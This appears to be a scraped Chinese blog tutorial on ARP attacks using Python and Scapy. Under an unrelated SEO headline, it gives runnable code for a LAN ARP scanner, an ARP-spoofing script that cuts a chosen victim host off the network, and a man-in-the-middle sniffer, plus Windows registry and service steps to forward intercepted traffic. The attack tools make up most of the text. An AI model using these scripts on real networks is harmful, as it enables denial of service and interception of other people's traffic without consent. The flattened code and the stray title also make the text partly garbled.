愛淘寶淘寶網(wǎng)首頁(yè)seo關(guān)鍵詞排名優(yōu)化技巧
ARP中間人攻擊(ARP spoofing)是一種利用本地網(wǎng)絡(luò)的ARP
協(xié)議漏洞進(jìn)行欺騙的攻擊方式,攻擊者會(huì)向目標(biāo)主機(jī)發(fā)送虛假ARP
響應(yīng)包,使得目標(biāo)主機(jī)的ARP
緩存中的IP
地址和MAC
地址映射關(guān)系被篡改,從而使得目標(biāo)主機(jī)將網(wǎng)絡(luò)流量發(fā)送到攻擊者指定的虛假MAC
地址。攻擊者可以在不被發(fā)現(xiàn)的情況下竊取目標(biāo)主機(jī)的網(wǎng)絡(luò)流量、信息等,也可以進(jìn)行其他的惡意行為,如中間人攻擊、監(jiān)聽等。
首先我們來實(shí)現(xiàn)一個(gè)簡(jiǎn)單的ARP掃描功能,要實(shí)現(xiàn)ARP探測(cè)功能很容易,如下代碼中我們分別封裝實(shí)現(xiàn)兩個(gè)函數(shù),函數(shù)Parse_IP
用于傳入一個(gè)IP地址字符串自動(dòng)生成該網(wǎng)段內(nèi)的所有主機(jī)數(shù),函數(shù)ARP_Scan
則用于發(fā)送ARP數(shù)據(jù)包,在構(gòu)造時(shí)直接使用ARP
函數(shù)即可,構(gòu)造后通過sr1
將其發(fā)送出去并等待返回結(jié)果。
from scapy.all import *
import argparse
import threading,time
import logging# 生成網(wǎng)段信息,例如輸入: 192.168.1.1/20 生成1-20地址
def Parse_IP(targets):_split = targets.split('/')first_ip = _split[0]ip_split = first_ip.split('.')ipv4 = range(int(ip_split[3]),int(_split[1])+1)addr = [ ip_split[0]+'.'+ip_split[1]+'.'+ip_split[2]+'.'+str(p) for p in ipv4 ]return addr# 通過ARP協(xié)議掃描局域網(wǎng)中在線的設(shè)備
def ARP_Scan(address):try:ret = sr1(ARP(pdst=address),timeout=5,verbose=False)if ret:if ret.haslayer('ARP') and ret.fields['op'] == 2:print('[+] IP地址: %-13s ==> MAC地址: %-15s' %(ret.fields['psrc'],ret.fields['hwsrc']))except Exception:exit(1)if __name__ == "__main__":logging.getLogger("scapy.runtime").setLevel(logging.ERROR)parser = argparse.ArgumentParser()parser.add_argument("-s","--scan",dest="scan",help="輸入一個(gè)掃描網(wǎng)段")args = parser.parse_args()# 使用方式: main.py -s 192.168.1.1/100if args.scan:addr_list = Parse_IP(args.scan)for item in addr_list:threads = []t = threading.Thread(target=ARP_Scan,args=(item,))threads.append(t)t.start()for item in threads:item.join()else:parser.print_help()
上述代碼通過指定-s
并傳入一個(gè)地址網(wǎng)段192.168.9.0/24
則自動(dòng)計(jì)算該網(wǎng)段主機(jī)數(shù),并依次對(duì)主機(jī)進(jìn)行存活檢測(cè),輸出效果圖如下所示;
當(dāng)我們能夠得到內(nèi)網(wǎng)中特定主機(jī)的IP
地址以及MAC
地址后,則下一步就可以使用ARP
斷網(wǎng)攻擊了,該攻擊原理是攻擊者在目標(biāo)網(wǎng)絡(luò)中發(fā)送虛假的ARP
響應(yīng)包,使得目標(biāo)設(shè)備誤認(rèn)為網(wǎng)關(guān)的MAC
地址已經(jīng)更改為攻擊者的MAC
地址,導(dǎo)致目標(biāo)設(shè)備無法正常訪問外部網(wǎng)絡(luò),從而達(dá)到網(wǎng)絡(luò)斷網(wǎng)的目的。
讀者在使用ARP斷網(wǎng)之前還是需要通過ipconfig /all
命令確定當(dāng)前網(wǎng)卡的網(wǎng)卡名稱,如下圖所示網(wǎng)卡描述則是我們需要的東西;
接著來看一下如何實(shí)現(xiàn)ARP斷網(wǎng)攻擊的,斷網(wǎng)攻擊的核心在于SendPayLoad
函數(shù),該函數(shù)每次調(diào)用都將發(fā)送兩個(gè)數(shù)據(jù)包,第一個(gè)數(shù)據(jù)包用于偽造網(wǎng)關(guān)欺騙目標(biāo)計(jì)算機(jī)我是網(wǎng)關(guān),第二個(gè)數(shù)據(jù)包用于偽造被欺騙計(jì)算機(jī),用于向網(wǎng)關(guān)表明身份,有了這兩個(gè)數(shù)據(jù)包并配合多線程發(fā)包則此時(shí)被攻擊主機(jī)將會(huì)出現(xiàn)網(wǎng)絡(luò)無法連接的情況。
from scapy.all import *
import argparse
import threading,time
import logging# 創(chuàng)建并發(fā)送有效載荷
def SendPayload(Interface,srcMac,tgtMac,gateWayMac,gatewayIP,tgtIP):print("[+] 目標(biāo)MAC: {} 目標(biāo)IP: {} 發(fā)送: 2 packets".format(tgtMac,tgtIP))# 生成ARP數(shù)據(jù)包,偽造網(wǎng)關(guān)欺騙目標(biāo)計(jì)算機(jī)sendp(Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2),iface=Interface)# 生成ARP數(shù)據(jù)包,偽造目標(biāo)計(jì)算機(jī)欺騙網(wǎng)關(guān)sendp(Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2),iface=Interface)if __name__ == "__main__":parser = argparse.ArgumentParser()parser.add_argument("-i","--interface",dest="interface",help="輸入接口名")parser.add_argument("-g","--gateway",dest="gateway",help="輸入網(wǎng)關(guān)地址")parser.add_argument("-t","--target",dest="target",help="輸入被害主機(jī)地址")args = parser.parse_args()# 使用方式: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10if args.gateway and args.target:srcMac = get_if_hwaddr(args.interface) # 通過接口名稱獲取本機(jī)MAC地址tgtMac = getmacbyip(args.target) # 通過IP地址獲取目標(biāo)計(jì)算機(jī)的MAC地址gatewayMac = getmacbyip(args.gateway) # 指定本機(jī)網(wǎng)段的網(wǎng)關(guān)MAC地址while True:t = threading.Thread(target=SendPayload,args=(args.interface,srcMac,tgtMac,gatewayMac,args.gateway,args.target))t.start()t.join()time.sleep(1)else:parser.print_help()
讀者在調(diào)用時(shí)需要傳入三個(gè)參數(shù),首先通過-i
傳入網(wǎng)卡名稱,接著通過-g
指定當(dāng)前網(wǎng)段內(nèi)網(wǎng)關(guān)名稱,使用-t
用于指定被害主機(jī)地址,運(yùn)行后如下圖所示;
有了ARP斷網(wǎng)接著就來實(shí)現(xiàn)ARP嗅探功能,針對(duì)斷網(wǎng)攻擊對(duì)于攻擊者來說其實(shí)無法得到更多有用的數(shù)據(jù),我們還是希望能夠監(jiān)控目標(biāo)主機(jī)的數(shù)據(jù)包,并通過分析數(shù)據(jù)包得知一些特殊操作,為了實(shí)現(xiàn)這個(gè)功能,就需要改進(jìn)斷網(wǎng)程序讓其具備嗅探的功能,要實(shí)現(xiàn)嗅探而不是斷網(wǎng)則需要進(jìn)行兩步配置,首先需要開啟注冊(cè)表轉(zhuǎn)發(fā)功能,此處可以輸入命令regedit
打開注冊(cè)表編輯器,并在其中定位到:
- HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip/Parameters
選擇下面的項(xiàng)目IPEnableRouter:REG_DWORD:0x0
找到項(xiàng)目鼠標(biāo)右鍵修改數(shù)值為1
至此即可開啟主機(jī)的IP數(shù)據(jù)路由功能。
接著讀者還需要打開系統(tǒng)服務(wù)菜單,并找到Routing And RemoteAccess
數(shù)據(jù)包轉(zhuǎn)發(fā)服務(wù),此處如果沒有打開請(qǐng)自行將其開啟,當(dāng)開啟后我們的主機(jī)將會(huì)具備路由轉(zhuǎn)發(fā)功能,這樣即可實(shí)現(xiàn)模擬路由器的效果。
嗅探的原理很簡(jiǎn)單,如下是一個(gè)完整的數(shù)據(jù)包嗅探工具,其中createArp2Station
函數(shù)用于生成偽造網(wǎng)關(guān)的數(shù)據(jù)包用于欺騙客戶端,createArp2Gateway
函數(shù)則用于偽造目標(biāo)主機(jī)數(shù)據(jù)包并欺騙網(wǎng)關(guān),當(dāng)有了這兩個(gè)函數(shù),再配合sniff
抓包即可實(shí)現(xiàn)數(shù)據(jù)包的捕獲,如果讀者需要自行分析數(shù)據(jù)包來往則可以自定義Packet_CallBack
回調(diào)函數(shù)實(shí)現(xiàn)。
import sys,os,threading
import argparse
from scapy.all import *# 生成ARP數(shù)據(jù)包,偽造網(wǎng)關(guān)欺騙目標(biāo)計(jì)算機(jī)
def createArp2Station(interface,target_ip,gateway_ip):dst_Mac=str(getmacbyip(target_ip))self_Mac=str(get_if_hwaddr(interface))Ether_data=Ether(src=self_Mac,dst=dst_Mac) / ARP(op=2,hwsrc=self_Mac,psrc=gateway_ip,hwdst=dst_Mac,pdst=target_ip)try:sendp(Ether_data,inter=2,iface=interface,loop=1)except Exception as e:print("目標(biāo)ARP數(shù)據(jù)發(fā)送失敗!")# 生成ARP數(shù)據(jù)包,偽造目標(biāo)計(jì)算機(jī)欺騙網(wǎng)關(guān)
def createArp2Gateway(interface,target_ip,gateway_ip):dst_Mac = getmacbyip(gateway_ip)self_Mac = get_if_hwaddr(interface)Ether_data = NoneEther_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=target_ip, hwdst=dst_Mac, pdst=gateway_ip)try:sendp(Ether_data, inter=2,iface=interface,loop=1)except Exception as e:print("網(wǎng)關(guān)ARP數(shù)據(jù)發(fā)送失敗!")def Packet_CallBack(pkt):if pkt.haslayer(IP):if pkt.getlayer(IP).src != "127.0.0.1":ip_src = pkt.getlayer(IP).srcip_dst = pkt.getlayer(IP).dstprint("源地址: {} ---> 目標(biāo)地址: {}".format(ip_src,ip_dst))if __name__ == "__main__":# 使用方式: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10parser = argparse.ArgumentParser()parser.add_argument("-i","--interface",dest="interface",help="輸入網(wǎng)卡名稱")parser.add_argument("-t","--target_ip",dest="target_ip",help="輸入目標(biāo)主機(jī)IP")parser.add_argument("-g","--gateway",dest="gateway",help="輸入網(wǎng)關(guān)地址")args = parser.parse_args()if args.interface and args.target_ip and args.gateway:try:t1=threading.Thread(target=createArp2Station,args=(args.interface,args.target_ip,args.gateway))t1.setDaemon(True)t1.start()t2=threading.Thread(target=createArp2Gateway,args=(args.interface,args.target_ip,args.gateway))t2.setDaemon(True)t2.start()sniff(prn=Packet_CallBack,filter="tcp",iface=args.interface)except Exception:sys.exit(1)while True:passelse:parser.print_help()
讀者可自行運(yùn)行上述程序,并通過-i
屬性指定網(wǎng)卡名,通過-g
屬性指定網(wǎng)關(guān)地址,通過-t
指定為被害主機(jī)地址,運(yùn)行后讀者即可看到被害主機(jī)的數(shù)據(jù)包流向信息,如下圖所示;
此時(shí)被害主機(jī)的所有數(shù)據(jù)包都會(huì)經(jīng)過我們的主機(jī),讀者可打開WireShark
并啟動(dòng)抓包,此時(shí)輸入輸入不同的過濾語句,即可指定需要查看的數(shù)據(jù)包類型,此時(shí)我們就是實(shí)現(xiàn)了對(duì)特定主機(jī)的監(jiān)控,當(dāng)然這種監(jiān)控?cái)?shù)據(jù)包會(huì)摻雜我們自己的主機(jī)發(fā)出的,讀者可自行編寫過濾規(guī)則實(shí)現(xiàn)過濾;